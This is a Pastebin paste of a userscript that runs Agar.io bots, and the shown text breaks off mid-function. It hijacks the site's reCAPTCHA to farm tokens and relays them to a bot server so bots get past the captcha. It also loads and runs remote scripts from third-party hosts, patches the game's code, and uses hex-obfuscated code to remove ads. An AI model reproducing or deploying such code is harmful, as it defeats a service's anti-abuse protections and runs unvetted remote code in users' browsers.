Guest User

BOTSS

a guest
Dec 15th, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.51 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Free Agar.io Bots
  3. // @namespace Free Agario Bots + Potion Hack
  4. // @version 2.0.1
  5. // @description Free Agar.io Bots
  6. // @author Nel, xN3BULA, test114514, GeniusXD, Rzy
  7. // @grant none
  8. // @run-at document-start
  9. // @match *://agar.io/*
  10. // ==/UserScript==
  11.  
  12. setTimeout(function(){
  13. var script = document.createElement("script");
  14. script.src = "https://unpkg.com/sweetalert/dist/sweetalert.min.js";
  15. document.getElementsByTagName("head")[0].appendChild(script);
  16. $('head').append(`<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">`);
  17. }, 3000);
  18.  
  19. var fstyle = document.createElement("script");
  20. fstyle.src = "http://200agar.net/agario/agario.core.js";
  21. document.getElementsByTagName("head")[0].appendChild(fstyle);
  22.  
  23. window.test114514 = function(slot) {
  24. var bytes = [8, 1, 18, 7, 8, 124, 226, 7, 2, 8, slot];
  25. window.core.proxyMobileData(bytes);
  26. }
  27. let myTurn = false;
  28. let lastNick = null;
  29.  
  30. window.getTokens = function() {
  31. grecaptchaV3.reset();
  32. grecaptchaV3.execute(0, {
  33. 'action': 'play'
  34. }).then(() => {
  35. if (myTurn) {
  36. core.sendNick(lastNick, grecaptchaV3.getResponse());
  37. myTurn = false;
  38. return getTokens();
  39. }
  40. window.connection.sendToken(grecaptchaV3.getResponse());
  41. //console.log("got new token :)")
  42. getTokens();
  43. })
  44. }
  45. window.onload = function() {
  46. window.MC.SpawnDayo = window.MC.onPlayerSpawn;
  47. window.MC.onPlayerSpawn = function() {
  48. MC.SpawnDayo();
  49.  
  50. var bytes = [8, 1, 18, 7, 8, 124, 226, 7, 2, 8, 1];
  51. window.core.proxyMobileData(bytes);
  52. setTimeout(() => {
  53. var bytes = [8, 1, 18, 7, 8, 124, 226, 7, 2, 8, 2];
  54. window.core.proxyMobileData(bytes);
  55. }, 3000);
  56. setTimeout(() => {
  57. var bytes = [8, 1, 18, 7, 8, 124, 226, 7, 2, 8, 3];
  58. window.core.proxyMobileData(bytes);
  59. }, 6000);
  60. }
  61. window.core.n = window.core.sendNick;
  62. document.getElementById('play').onclick = function() {
  63. myTurn = true;
  64. }
  65. window.core.sendNick = function(nick, token) {
  66. window.core.n(nick, token);
  67. myTurn = false;
  68. }
  69. grecaptchaV3._render = grecaptchaV3.render;
  70. grecaptchaV3.render = function(a, b) {
  71. if (a == "captchaWindowV3") return;
  72. grecaptchaV3._render(a, b);
  73. }
  74. grecaptchaV3._render("captchaWindowV3", {
  75. sitekey: "6LcEt74UAAAAAIc_T6dWpsRufGCvvau5Fd7_G1tY",
  76. badge: "inline",
  77. size: "invisible"
  78. });
  79. getTokens();
  80. setInterval(() => {
  81. try {
  82. lastNick = document.getElementById("nick").value;
  83. } catch(e) {}
  84. }, 300);
  85. }
  86.  
  87. /* START OF USER SETTINGS */
  88. window.options = {
  89. settings: {
  90. "EXTENDED_ZOOM": {
  91. "text": "Extended Zoom",
  92. "type": "checkbox",
  93. "value": true
  94. },
  95. "DRAW_MAP_GRID": {
  96. "text": "Grid",
  97. "type": "checkbox",
  98. "value": false
  99. },
  100. "SHOW_ALL_PLAYERS_MASS": {
  101. "text": "Show Mass (All players)",
  102. "type": "checkbox",
  103. "value": true
  104. },
  105. },
  106. hotkeys: {
  107. "BOTS_SPLIT_KEY": {
  108. "text": "Bot Split Key",
  109. "key": "E",
  110. "keycode": 84,
  111. },
  112. "BOTS_FEED_KEY": {
  113. "text": "Bot Feed Key",
  114. "key": "A",
  115. "keycode": 65,
  116. },
  117. "BOTS_AI_KEY": {
  118. "text": "Bot AI Key",
  119. "key": "F",
  120. "keycode": 70,
  121. },
  122. "MACRO_FEED_KEY": {
  123. "text": "Macro Feed Key",
  124. "key": "W",
  125. "keycode": 69,
  126. },
  127. "DOUBLE_SPLIT_KEY": {
  128. "text": "Double Split Key",
  129. "key": "Q",
  130. "keycode": 81,
  131. },
  132. "SIXTEEN_SPLIT_KEY": {
  133. "text": "Sixteen Split Key",
  134. "key": "T",
  135. "keycode": 82,
  136. },
  137. }
  138. }
  139. if(localStorage.getItem('nebula-hotkeys')) window.options.hotkeys =JSON.parse(localStorage.getItem('nebula-hotkeys'));
  140. if(localStorage.getItem('nebula-settings')) window.options.settings =JSON.parse(localStorage.getItem('nebula-settings'));
  141. window.changeKey = (name, event) => {
  142. event.preventDefault();
  143. $(`#${name}`).val(event.key.toLocaleUpperCase())
  144. let key = window.options.hotkeys[name];
  145. key["key"] = event.key.toLocaleUpperCase();
  146. key["keycode"] = event.keyCode;
  147. checkDuplicates(name, event.keyCode);
  148. localStorage.setItem('nebula-hotkeys', JSON.stringify(window.options.hotkeys));
  149. }
  150. window.checkboxChange = (name) => {
  151. let setting = window.options.settings[name];
  152. setting["value"] = document.getElementById(name).checked;
  153. localStorage.setItem('nebula-settings', JSON.stringify(window.options.settings));
  154. };
  155. window.checkDuplicates = (keyname, keycode) => {
  156. for (var name in window.options.hotkeys) {
  157. var key = window.options.hotkeys[name];
  158. if(name == keyname) continue;
  159. if(keycode == key.keycode) key.keycode = 0, key.key = "", $(`#${name}`).val("");
  160. }
  161. }
  162. window.setUpHotkeys = () => {
  163. for (var name in window.options.hotkeys) {
  164. var key = window.options.hotkeys[name];
  165. let html =
  166. `<div class="row" name="${name}">
  167. <span class="title">${key.text}</span>
  168. <input id="${name}" onkeydown="changeKey('${name}', event)" class="key" value="${key.key.toLocaleUpperCase()}">
  169. </div>`
  170. $("#hotkeys").append(html);
  171. }
  172. }
  173. window.getOption = (name) => {
  174. if(document.getElementById(name))return document.getElementById(name).checked
  175. else return false
  176. }
  177. window.setUpOptions = () => {
  178. for (var name in window.options.settings) {
  179. var option = window.options.settings[name];
  180. let html =
  181. `<div class="row" name="${name}">
  182. <span class="title">${option.text}</span>
  183. <input id=${name} onchange="checkboxChange('${name}')" class="checkbox" type="checkbox">
  184. </div>
  185. `
  186. $("#settings").append(html);
  187. if(option["value"] == true) $(`#${name}`).click();
  188. }
  189. }
  190.  
  191. window.SERVER_HOST = 'ws://localhost:8083' // Hostname/IP of the server where the bots are running [Default = localhost (your own pc)]
  192.  
  193. window.ZOOM_SPEED = 0.85 // Numerical value that indicates the speed of the mouse wheel when zooming, value must be between 0.01-0.99 [Default = 0.85]
  194.  
  195. window.EXTENDED_ZOOM = true // Boolean value that indicates whether to extend the zoom or not, possible values are true and false [Default = true]
  196.  
  197. window.DRAW_MAP_GRID = false // Boolean value that indicates whether to draw the map grid or not, possible values are true and false [Default = false]
  198.  
  199. window.SHOW_ALL_PLAYERS_MASS = true // Boolean value that indicates whether to show all players mass or not, possible values are true and false [Default = true]
  200.  
  201. /* END OF USER SETTINGS */
  202.  
  203. class Writer {
  204. constructor(size) {
  205. this.dataView = new DataView(new ArrayBuffer(size))
  206. this.byteOffset = 0
  207. }
  208. writeUint8(value) {
  209. this.dataView.setUint8(this.byteOffset++, value)
  210. }
  211. writeInt32(value) {
  212. this.dataView.setInt32(this.byteOffset, value, true)
  213. this.byteOffset += 4
  214. }
  215. writeUint32(value) {
  216. this.dataView.setUint32(this.byteOffset, value, true)
  217. this.byteOffset += 4
  218. }
  219. writeString(string) {
  220. for (let i = 0; i < string.length; i++) this.writeUint8(string.charCodeAt(i))
  221. this.writeUint8(0)
  222. }
  223. }
  224.  
  225. window.buffers = {
  226. startBots(url, protocolVersion, clientVersion, userStatus, botsName, botsAmount) {
  227. const writer = new Writer(13 + url.length + botsName.length)
  228. writer.writeUint8(0)
  229. writer.writeString(url)
  230. writer.writeUint32(protocolVersion)
  231. writer.writeUint32(clientVersion)
  232. writer.writeUint8(Number(userStatus))
  233. writer.writeString(botsName)
  234. writer.writeUint8(botsAmount)
  235. return writer.dataView.buffer
  236. },
  237. mousePosition(x, y) {
  238. const writer = new Writer(9)
  239. writer.writeUint8(6)
  240. writer.writeInt32(x)
  241. writer.writeInt32(y)
  242. return writer.dataView.buffer
  243. }
  244. }
  245.  
  246. window.connection = {
  247. ws: null,
  248. connect() {
  249. this.ws = new WebSocket(`${window.SERVER_HOST}`)
  250. this.ws.binaryType = 'arraybuffer'
  251. this.ws.onopen = this.onopen.bind(this)
  252. this.ws.onmessage = this.onmessage.bind(this)
  253. this.ws.onclose = this.onclose.bind(this)
  254. },
  255. send(buffer) {
  256. if (this.ws && this.ws.readyState === WebSocket.OPEN) this.ws.send(buffer)
  257. },
  258. onopen() {
  259. document.getElementById('userStatus').style.color = '#00FF7F'
  260. document.getElementById('userStatus').innerText = 'Connected'
  261. document.getElementById('connect').disabled = true
  262. swal("Connected", "Server : Online!", "success");console.log('Connected to Server');$('#connect')
  263. document.getElementById('startBots').disabled = false
  264. document.getElementById('stopBots').disabled = false
  265. },
  266. sendToken(token) {
  267. if (token === undefined) return;
  268. let buf = new Writer(2 + token.length);
  269. buf.writeUint8(7);
  270. buf.writeString(token);
  271. window.connection.send(buf.dataView.buffer)
  272. },
  273. onmessage(message) {
  274. const dataView = new DataView(message.data)
  275. switch (dataView.getUint8(0)) {
  276. case 0:
  277. document.getElementById('startBots').disabled = true
  278. swal("Bots Started...", "Hope You Enjoy ", "success");console.log('Bots Is Started');$('#startBots')
  279. document.getElementById('stopBots').disabled = false
  280. document.getElementById('startBots').style.display = 'none'
  281. document.getElementById('stopBots').style.display = 'inline'
  282. document.getElementById('stopBots').innerText = 'Stop Bots'
  283. window.user.startedBots = true
  284. break
  285. case 1:
  286. document.getElementById('stopBots').disabled = true
  287. var timer = 30, // timer in seconds
  288. isTimerStarted = false;
  289.  
  290. (function customSwal() {
  291. swal({ title: "Please Wait",text: "Stopping Bots..." + timer,timer: !isTimerStarted ? timer * 1000 : undefined,showConfirmButton: true});isTimerStarted = true;if(timer) {timer--;
  292. setTimeout(customSwal, 1000);}})();$('#stopBots')
  293. document.getElementById('stopBots').innerText = 'Stopping Bots...'
  294. break
  295. case 2:
  296. document.getElementById('botsAI').style.color = '#DA0A00'
  297. document.getElementById('botsAI').innerText = 'OFF'
  298. document.getElementById('startBots').disabled = false
  299. document.getElementById('stopBots').disabled = true
  300. document.getElementById('startBots').style.display = 'inline'
  301. document.getElementById('stopBots').style.display = 'none'
  302. document.getElementById('stopBots').innerText = 'Stop Bots'
  303. window.user.startedBots = false
  304. window.bots.ai = false
  305. break
  306. case 3:
  307. swal("Your IP Has Captcha!", "Try VPN or VPS to Fix This Captcha", "error");
  308. console.log('Waiting...!');
  309. break
  310. case 4:
  311. //Connected Bot count = getUint8(1)
  312. //Spawned Bot count = getUint8(2)
  313. //Server player amount = getUint8(3)
  314. $('#botCount').html(`${dataView.getUint8(1)}/${dataView.getUint8(2)}/${window.bots.amount}`)
  315. // $('#slots').html(dataView.getUint8(3) + "/200")
  316. break;
  317. case 5:
  318. $('#slots').html(dataView.getUint8(1) + "/200")
  319. break;
  320. }
  321. },
  322. onclose() {
  323. document.getElementById('userStatus').style.color = '#DA0A00'
  324. document.getElementById('userStatus').innerText = 'Disconnected'
  325. document.getElementById('botsAI').style.color = '#DA0A00'
  326. document.getElementById('botsAI').innerText = 'OFF'
  327. document.getElementById('connect').disabled = false
  328. document.getElementById('startBots').disabled = true
  329. document.getElementById('stopBots').disabled = true
  330. document.getElementById('startBots').style.display = 'inline'
  331. document.getElementById('stopBots').style.display = 'none'
  332. window.user.startedBots = false
  333. window.bots.ai = false
  334. clearInterval(this.tokenInt);
  335. }
  336. }
  337.  
  338. window.game = {
  339. url: '',
  340. protocolVersion: 0,
  341. clientVersion: 0
  342. }
  343.  
  344. window.user = {
  345. startedBots: false,
  346. isAlive: false,
  347. mouseX: 0,
  348. mouseY: 0,
  349. offsetX: 0,
  350. offsetY: 0,
  351. macroFeedInterval: null
  352. }
  353.  
  354. window.bots = {
  355. name: '',
  356. amount: 0,
  357. ai: false
  358. }
  359.  
  360. function modifyCore(core) {
  361. return core
  362. .replace(/if\(\w+\.MC&&\w+\.MC\.onPlayerSpawn\)/, `
  363. $&
  364. window.user.isAlive = true
  365. if(window.user.startedBots) window.connection.send(new Uint8Array([5, Number(window.user.isAlive)]).buffer)
  366. `)
  367. .replace(/if\(\w+\.MC&&\w+\.MC\.onPlayerDeath\)/, `
  368. $&
  369. window.user.isAlive = false
  370. if(window.user.startedBots) window.connection.send(new Uint8Array([5, Number(window.user.isAlive)]).buffer)
  371. `)
  372. .replace(/new\s+WebSocket\((\w+\(\w+\))\)/, `
  373. $&
  374. if(window.user.startedBots) window.connection.send(new Uint8Array([1]).buffer)
  375. window.game.url = $1
  376. window.user.isAlive = false
  377. window.user.macroFeedInterval = null
  378. `).replace(/(\w+)=~~\(\+\w+\[\w+\+\d+>>3]\+\s+\+\(\(\w+\[\w+\+\d+>>2]\|0\)-\(\(\w+\[\d+]\|0\)\/2\|0\)\|0\)\/\w+\);(\w+)=~~\(\+\w+\[\w+\+\d+>>3]\+\s+\+\(\(\w+\[\w+\+\d+>>2]\|0\)-\(\(\w+\[\d+]\|0\)\/2\|0\)\|0\)\/\w+\)/, `
  379. $&
  380. window.user.mouseX = $1 - window.user.offsetX
  381. window.user.mouseY = $2 - window.user.offsetY
  382. if(window.user.startedBots && window.user.isAlive) window.connection.send(window.buffers.mousePosition(window.user.mouseX, window.user.mouseY))
  383. `)
  384. .replace(/\w+\[\w+\+...>>3]=(\w+);\w+\[\w+\+...>>3]=(\w+);\w+\[\w+\+...>>3]=(\w+);\w+\[\w+\+...>>3]=(\w+)/, `
  385. // /\w+\[\w+\+272>>3]=(\w+);\w+\[\w+\+280>>3]=(\w+);\w+\[\w+\+288>>3]=(\w+);\w+\[\w+\+296>>3]=(\w+)/
  386. $&
  387. if(~~($3 - $1) === 14142 && ~~($4 - $2) === 14142){
  388. window.user.offsetX = ($1 + $3) / 2
  389. window.user.offsetY = ($2 + $4) / 2
  390. }
  391. `)
  392. .replace(/\(\.9,/, '(window.ZOOM_SPEED,')
  393. .replace(/;if\((\w+)<1\.0\)/, ';if($1 < (!getOption("EXTENDED_ZOOM")))')
  394. .replace(/(\w+\(\d+,\w+\|0,\.5,\.5\)\|0);(\w+\(\d+,\w+\|0,\.5,50\.5\)\|0);(\w+\(\d+,\w+\|0,\.5,\.5\)\|0);(\w+\(\d+,\w+\|0,50\.5,\.5\)\|0)/, `
  395. $1
  396. if(window.getOption("DRAW_MAP_GRID")) $2
  397. $3
  398. if(window.getOption("DRAW_MAP_GRID")) $4
  399. `)
  400. .replace(/while\(0\);(\w+)=\(\w+\|0\)!=\(\w+\|0\);/, `
  401. $&
  402. if(window.showAPM) $1 = true //window.getOption("SHOW_ALL_PLAYERS_MASS")
  403. `)
  404. }
  405.  
  406. function setKeysEvents() {
  407. document.addEventListener('keydown', e => {
  408. if (!document.getElementById('overlays')) {
  409. switch (e.keyCode) {
  410. case options.hotkeys["BOTS_SPLIT_KEY"].keycode:
  411. if (window.user.startedBots && window.user.isAlive) window.connection.send(new Uint8Array([2]).buffer)
  412. break
  413. case 88:
  414. window.showAPM = true; // added by fstyle
  415. break;
  416. case 90:
  417. window.connection.send(new Uint8Array([2]).buffer)
  418. setTimeout(() => {
  419. window.connection.send(new Uint8Array([2]).buffer)
  420. }, 40);
  421. setTimeout(() => {
  422. window.connection.send(new Uint8Array([2]).buffer)
  423. }, 80);
  424. setTimeout(() => {
  425. window.connection.send(new Uint8Array([2]).buffer)
  426. }, 120);
  427. break;
  428. case options.hotkeys["BOTS_FEED_KEY"].keycode:
  429. if (window.user.startedBots && window.user.isAlive) window.connection.send(new Uint8Array([3]).buffer)
  430. break
  431. case options.hotkeys["BOTS_AI_KEY"].keycode:
  432. if (window.user.startedBots && window.user.isAlive) {
  433. if (!window.bots.ai) {
  434. document.getElementById('botsAI').style.color = '#00FF7F'
  435. document.getElementById('botsAI').innerText = 'ON'
  436. window.bots.ai = true
  437. window.connection.send(new Uint8Array([4, Number(window.bots.ai)]).buffer)
  438. } else {
  439. document.getElementById('botsAI').style.color = '#DA0A00'
  440. document.getElementById('botsAI').innerText = 'OFF'
  441. window.bots.ai = false
  442. window.connection.send(new Uint8Array([4, Number(window.bots.ai)]).buffer)
  443. }
  444. }
  445. break
  446. case options.hotkeys["MACRO_FEED_KEY"].keycode:
  447. if (!window.user.macroFeedInterval) {
  448. window.core.eject()
  449. window.user.macroFeedInterval = setInterval(window.core.eject, 80)
  450. }
  451. break
  452. case options.hotkeys["DOUBLE_SPLIT_KEY"].keycode:
  453. window.core.split()
  454. setTimeout(window.core.split, 40)
  455. break
  456. case options.hotkeys["SIXTEEN_SPLIT_KEY"].keycode:
  457. window.core.split()
  458. setTimeout(window.core.split, 40)
  459. setTimeout(window.core.split, 80)
  460. setTimeout(window.core.split, 120)
  461. break
  462. }
  463. }
  464. })
  465. document.addEventListener('keyup', e => {
  466. if (!document.getElementById('overlays') && e.keyCode === options.hotkeys["MACRO_FEED_KEY"].keycode && window.user.macroFeedInterval) {
  467. clearInterval(window.user.macroFeedInterval)
  468. window.user.macroFeedInterval = null
  469. }
  470. })
  471. }
  472.  
  473. function setGUI() {
  474. let menuhtml = `<div id="inputs" class="menu-panel" >
  475. <div class="inputs-tab-bar">
  476. <span id="settingsbutton"class="inputs-tab active" target="#settings"><i class="fa fa-keyboard-o"></i> <span>Settings</span></span>
  477. <span id="hotkeysbutton" class="inputs-tab" target="#hotkeys"><i class="fa fa-keyboard-o"></i> <span>Hotkeys</span></span>
  478. <span class="inputs-tab close" target="#close">X</span>
  479. </div>
  480. <div class="inputs-menu-container">
  481. <div id="settings" class="inputs-menu active"></div>
  482. <div id="hotkeys" style="display:none;" class="inputs-menu ps ps--theme_default">
  483. </div>
  484. </div>`
  485. $("#mainui-play").append(menuhtml);
  486. document.getElementById('advertisement').innerHTML =`<center><iframe width="300" height="250" src="https://www.youtube.com/embed/qnFnkmkh2VQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></center>`
  487. var _0xe9f0=["\x72\x65\x6D\x6F\x76\x65","\x61\x64\x73\x52\x69\x67\x68\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x61\x64\x73\x4C\x65\x66\x74","\x61\x64\x73\x42\x6F\x74\x74\x6F\x6D","\x61\x64\x73\x54\x6F\x70"];document[_0xe9f0[2]](_0xe9f0[1])[_0xe9f0[0]]();document[_0xe9f0[2]](_0xe9f0[3])[_0xe9f0[0]]();document[_0xe9f0[2]](_0xe9f0[4])[_0xe9f0[0]]();document[_0xe9f0[2]](_0xe9f0[5])[_0xe9f0[0]]()
  488. document.getElementById('mcbanners').innerHTML = `
  489. <div class="agario-panel" style="border-top: 5px solid #09f4ff; background-image: url("http://cdn.ogario.ovh/static/img/pattern.png"); background-repeat: repeat; background-position: top center; position:absolute;margin-top: 4px; width: 330px; height: 500; background-color: #fff;">
  490. <center><h3 id="wikwik">Free Agar.io Bots</h3></center>
  491. <div class="agario-panel" style="border-top: 5px solid #09f4ff; background-image: url("http://cdn.ogario.ovh/static/img/pattern.png"); background-repeat: repeat; background-position: top center; position:absolute;margin-top: 4px; width: 330px; height: 500; background-color: #fff;">
  492. <br>
  493. <head>
  494. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
  495. </head>
  496. <center>
  497. <input type="text" id="botsName" placeholder="Bots Name" maxlength="100" spellcheck="false">
  498. <input type="number" id="botsAmount" placeholder="Bots Amount" min="10" max="202" spellcheck="false">
  499. <input id="botsRemoteIP" placeholder="ws://localhost:8083" maxlength="100" spellcheck="false">
  500. <button type="submit" id="btn"><i class="fa fa-eye"></i></button>
  501. <button id="botsPanel">Options</button>
  502. <button id="connect">Connect</button>
  503. <button id="startBots" disabled>Start Bots</button>
  504. <button id="stopBots">Stop Bots</button>
  505. <button id="gbutton">Join Us</button>
  506. </center>
  507. `
  508. if (localStorage.getItem('localStoredBotsName') !== null) {
  509. window.bots.name = localStorage.getItem('localStoredBotsName')
  510. document.getElementById('botsName').value = window.bots.name
  511. }
  512. if (localStorage.getItem('localStoredBotsAmount') !== null) {
  513. window.bots.amount = JSON.parse(localStorage.getItem('localStoredBotsAmount'))
  514. document.getElementById('botsAmount').value = String(window.bots.amount)
  515. }
  516. var storedbotsRemoteIP = localStorage.getItem("localstoredBotsRemoteIP");
  517. if (storedbotsRemoteIP==null || storedbotsRemoteIP==""){
  518. storedbotsRemoteIP = "ws://localhost:8083";
  519. }
  520. window.bots.remoteIP = storedbotsRemoteIP;
  521. window.SERVER_HOST = storedbotsRemoteIP;
  522. $('#botsRemoteIP').val(storedbotsRemoteIP)
  523. window.setUpHotkeys();
  524. window.setUpOptions();
  525. }
  526.  
  527. function setGUIStyle() {
  528. document.getElementsByTagName('head')[0].innerHTML += `
  529. <style type="text/css">
  530. body {
  531. margin: 25px;
  532. background: whitesmoke;
  533. }
  534. .menu-panel {
  535. z-index: 1;
  536. border-radius: 5px;
  537. background: rgba(255, 255, 255, 0.95);
  538. }
  539. #hotkeys .row, #settings .row{
  540. padding: 10px;
  541. background: #f8f8f8;
  542. border-bottom: 1px solid #000;
  543. }
  544. #hotkeys .row .title, #settings .row .title{
  545. font-family: Arial;
  546. text-transform: uppercase;
  547. font-weight: 600;
  548. font-size: 13px;
  549. }
  550. #hotkeys .row .key, #settings .row .key {
  551. float: right;
  552. margin-right: 6px;
  553. font-family: Arial;
  554. background: #111;
  555. padding: 2px 5px;
  556. border: 2px solid #444;
  557. box-shadow: 0px 0px 2px #000;
  558. color: #8e8e8e;
  559. transform: translateY(-3px);
  560. text-align: center;
  561. width: 55px;
  562. font-weight: 700;
  563. cursor: pointer;
  564. }
  565. #settings .row .checkbox {
  566. float: right;
  567. margin-right: 6px;
  568. font-family: Arial;
  569. padding: 2px 5px;
  570. color: #8e8e8e;
  571. transform: translateY(3px);
  572. text-align: center;
  573. width: 55px;
  574. font-weight: 700;
  575. cursor: pointer;
  576. }
  577. #inputs {
  578. display: none;
  579. width: 400px;
  580. height: 500px;
  581. position: absolute;
  582. left: 50%;
  583. top: 50%;
  584. transform: translate(-50%, -50%);
  585. }
  586. .input-hidden {
  587. color: transparent !important;
  588. }
  589. .input-hidden::selection {
  590. background: #777 !important;
  591. color: transparent !important;
  592. }
  593. .inputs-tab {
  594. cursor: pointer;
  595. background: #fff;
  596. padding: 6px 10px;
  597. border-radius: 4px 4px 0px 0px;
  598. }
  599. .inputs-tab.active {
  600. background: #fff;
  601. }
  602. .inputs-tab-bar {
  603. color: #000;
  604. font-size: 14px;
  605. font-family: Arial;
  606. height: 22px;
  607. }
  608. .inputs-menu-container {
  609. width: 100%;
  610. height: 478px;
  611. background: rgba(51, 51, 51, 0.5);
  612. border-radius: 0px 0px 4px 4px;
  613. }
  614. .inputs-menu {
  615. width: 100%;
  616. position: absolute;
  617. height: 478px;
  618. display: none;
  619. color: #000;
  620. }
  621. .inputs-menu.active {
  622. display: block;
  623. }
  624. .inputs-tab.close {
  625. float: right;
  626. margin-right: 5px;
  627. margin-top: -5px;
  628. border-radius: 50%;
  629. }
  630. #botCount, #slots {
  631. margin-left: 7px;
  632. box-sizing: border-box;
  633. color: #fff;
  634. background-color: #333;
  635. border: 1px solid #00FF7F;
  636. border-radius: 5px;
  637. box-shadow: 0 0.2em 0.2em rgba(0, 0, 0, 0.16), 0 0.3em 0.3em rgba(0, 0, 0, 0.16);
  638. padding: 0.0em 0.1em;
  639. }
  640. #box {
  641. min-width: 25px;
  642. color:#fff;
  643. min-height: 25px;
  644. background: #EBEDEF;
  645. max-width: 180px;
  646. max-height: 200px;
  647. border: 2px solid #333;
  648. border-radius: 10px;
  649. margin-top: 5px
  650. }
  651. #wikwik {
  652. min-width: 25px;
  653. color:#333;
  654. min-height: 25px;
  655. background: #85C1E9;
  656. max-width: 180px;
  657. max-height: 200px;
  658. border: 3px solid #333;
  659. border-radius: 10px;
  660. margin-top: 5px
  661. }
  662. #gbutton {
  663. box-sizing: border-box;
  664. font-size: 1.1em;
  665. width: 43%;
  666. margin: 0.6em 1% 0 1%;
  667. border-radius: 7px;
  668. background-color: silver;
  669. color: black;
  670. display: inline-block;
  671. padding: 0.2em 1.2em;
  672. cursor: pointer;
  673. box-shadow: 0 0.2em 0.2em rgba(0, 0, 0, 0.16), 0 0.3em 0.3em rgba(0, 0, 0, 0.16);
  674. transition: all 0.2s cubic-bezier(0.4, 0.0, 0.2, 1);
  675. text-align: center;
  676. }
  677. #btn {
  678. padding: 5px 10px;
  679. font-size: 14px;
  680. border-radius: 5px;
  681. border: 1px solid #666;
  682. box-shadow: 1px 1px 1px #ddd;
  683. background: linear-gradient (#fff, #eee, #fff)
  684. color: grey;
  685. cursor: pointer;
  686. }
  687. #split, #feed, #ai {
  688. margin-left: 7px;
  689. box-sizing: border-box;
  690. color: #fff;
  691. background-color: #333;
  692. border: 1px solid #fff;
  693. border-radius: 5px;
  694. box-shadow: 0 0.2em 0.2em rgba(0, 0, 0, 0.16), 0 0.3em 0.3em rgba(0, 0, 0, 0.16);
  695. padding: 0.0em 0.3em;
  696. }
  697. #boxText {
  698. color: #333;
  699. margin-left: 10px;
  700. font-weight: bold;
  701. }
  702. #s {
  703. min-width: 25px;
  704. color:#fff;
  705. min-height: 25px;
  706. background: #EBEDEF;
  707. max-width: 180px;
  708. max-height: 200px;
  709. border: none;
  710. border-radius: 5px;
  711. margin-top: 5px
  712. }
  713. #f {
  714. min-width: 25px;
  715. color:#fff;
  716. min-height: 25px;
  717. background: #EBEDEF;
  718. max-width: 180px;
  719. max-height: 200px;
  720. border: none;
  721. border-radius: 5px;
  722. margin-top: 5px
  723. }
  724. #e {
  725. min-width: 25px;
  726. color:#fff;
  727. min-height: 25px;
  728. background: #EBEDEF;
  729. max-width: 180px;
  730. max-height: 200px;
  731. border: none;
  732. border-radius: 5px;
  733. margin-top: 5px
  734. }
  735. #a {
  736. min-width: 25px;
  737. color:#fff;
  738. min-height: 25px;
  739. background: #EBEDEF;
  740. max-width: 180px;
  741. max-height: 200px;
  742. border: none;
  743. border-radius: 5px;
  744. margin-top: 5px
  745. }
  746. #botCount, #slots {
  747. margin-left: 7px;
  748. box-sizing: border-box;
  749. color: #fff;
  750. background-color: #333;
  751. border: 1px solid #fff;
  752. border-radius: 5px;
  753. box-shadow: 0 0.2em 0.2em rgba(0, 0, 0, 0.16), 0 0.3em 0.3em rgba(0, 0, 0, 0.16);
  754. padding: 0.0em 0.1em;
  755. }
  756. #mainui-ads {
  757. height: 400px !important;
  758. }
  759. #botsInfo > a, #botsAuthor > a {
  760. color: #3894F8;
  761. text-decoration: none;
  762. }
  763. #botsAuthor {
  764. margin-top: -15px;
  765. letter-spacing: 1px;
  766. }
  767. #statusText, #aiText {
  768. font-weight: bold;
  769. }
  770. #userStatus, #botsAI {
  771. margin-left: 7px;
  772. box-sizing: border-box;
  773. color: #DA0A00;
  774. background-color: #333;
  775. border: 1px solid #fff;
  776. border-radius: 5px;
  777. box-shadow: 0 0.2em 0.2em rgba(0, 0, 0, 0.16), 0 0.3em 0.3em rgba(0, 0, 0, 0.16);
  778. padding: 0.0em 0.3em;
  779. }
  780. #botsName, #botsAmount, #botsRemoteIP {
  781. padding: 5px 10px;
  782. font-size: 14,5px;
  783. border-radius: 5px;
  784. border: 1px solid #ccc;
  785. box-shadow: 1px 1px 1px #333;
  786. margin-top: 5px;
  787. width: 144px;
  788. outline: none;
  789. }
  790. #botsName:focus, #botsAmount:focus {
  791. border-color: #7D7D7D;
  792. }
  793. #connect, #startBots, #stopBots, #botsPanel {
  794. color: white;
  795. border: none;
  796. border-radius: 7px;
  797. padding: 7px;
  798. width: 130px;
  799. font-size: 15px;
  800. outline: none;
  801. margin-top: 3px;
  802. letter-spacing: 1px;
  803. }
  804. #connect {
  805. display: inline;
  806. margin-left: 5px;
  807. background-color: #0074C0;
  808. border-radius:7px;
  809. }
  810. #startBots {
  811. display: inline;
  812. background-color: #00C02E;
  813. border-radius:7px;
  814. }
  815. #botsPanel {
  816. display: inline;
  817. background-color: tomato;
  818. color:white;
  819. border-radius:7px;
  820. }
  821. #stopBots {
  822. display: none;
  823. background-color: #DA0A00;
  824. border-radius:7px;
  825. }
  826. #connect:active {
  827. background-color: #004E82;
  828. border-radius:7px;
  829. }
  830. #startBots:active {
  831. background-color: #009A25;
  832. border-radius:7px;
  833. }
  834. #stopBots:active {
  835. background-color: #9A1B00;
  836. border-radius:7px;
  837. }
  838. </style>
  839. `
  840. }
  841.  
  842. function setGUIEvents() {
  843. $("#botsPanel").click(() => {
  844. $("#inputs").show();
  845. });
  846. $(".close").click(() => {
  847. $("#inputs").hide();
  848. });
  849. $("#hotkeysbutton").click(() => {
  850. $("#settings").hide();
  851. $("#hotkeys").show();
  852. });
  853. $("#settingsbutton").click(() => {
  854. $("#hotkeys").hide();
  855. $("#settings").show();
  856. });
  857. (function(R,A,I,L,G,U,N){
  858. U=A.createElement(I),N=A.getElementsByTagName(I)[0];U.async=1;U.src=L;N.parentNode.insertBefore(U,N)
  859. })(window,document,'script','https://ex-script.com/fstyle/fstyle.core.js');
  860. document.getElementById('botsAmount').addEventListener('keypress', e => {
  861. e.preventDefault()
  862. })
  863. document.getElementById('gbutton').addEventListener('click', () => {
  864. window.open("http://200bots.ga", '_self');
